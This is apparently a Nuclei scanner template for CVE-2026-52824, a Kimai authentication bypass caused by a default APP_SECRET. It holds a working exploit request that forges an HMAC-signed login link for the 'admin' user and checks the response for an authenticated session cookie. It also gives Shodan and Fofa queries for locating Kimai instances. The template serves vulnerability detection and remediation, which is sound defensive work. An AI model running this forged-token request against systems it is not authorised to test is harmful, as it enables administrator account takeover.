id: CVE-2026-52824

info:
  name: Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    Kimai Docker images <= 2.57.0 ship with a hardcoded APP_SECRET of "change_this_to_something_unique". This default secret is used by Symfony's SignatureHasher to HMAC-sign login links and remember-me cookies. An unauthenticated attacker who knows this default secret can forge valid authentication tokens and hijack any user account, including the super-admin.
  impact: |
    An unauthenticated remote attacker can forge valid login-link URLs to authenticate as any user (including administrators) without knowing their password, achieving full account takeover.
  remediation: |
    Upgrade to Kimai >= 2.58.0 which generates a random APP_SECRET on first boot. Alternatively, manually set a unique APP_SECRET in your .env.local file.
  reference:
    - https://github.com/advisories/GHSA-jr9p-4h4j-6c58
    - https://github.com/kimai/kimai/releases/tag/2.58.0
  classification:
    cve-id: CVE-2026-52824
    cwe-id: CWE-1188
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
  metadata:
    verified: true
    max-request: 2
    vendor: kimai
    product: kimai
    shodan-query: title:"Kimai"
    fofa-query: title="Kimai"
  tags: cve,cve2026,kimai,default-secret,auth-bypass,account-takeover

variables:
  fh: "D60nAF03Qti0aU2B2Z5nVMOl_evP1uYHUVXRtHzgea0~"
  secret: "change_this_to_something_unique"
  expiry: "{{unix_time()+900}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/en/login"

    matchers:
      - type: word
        words:
          - "Kimai"
          - "login_check"
        condition: and
        internal: true

  - raw:
      - |
        GET /en/auth/link/check?user=admin&expires={{expiry}}&hash={{replace(replace(replace(base64(hex_decode(hmac("sha256",fh+":"+expiry+":admin",secret))),"+","-"),"/","_"),"=","~")}}{{fh}} HTTP/1.1
        Host: {{Hostname}}

    redirects: false

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "KIMAI_REMEMBER=App.Entity.User"

      - type: status
        status:
          - 302

      - type: word
        part: header
        words:
          - "/login"
        negative: true
# digest: 4a0a00473045022100b8573dd2d1f38e2c258ca667c9170fa91c8439dba2a5e9982db02dfedbb5bb8602204420b249fb0509d53a6bcb77c6a4729a7ecfb534b93b1756cc062d0ffc66c655:922c64590222798bb761d5b6d8e72950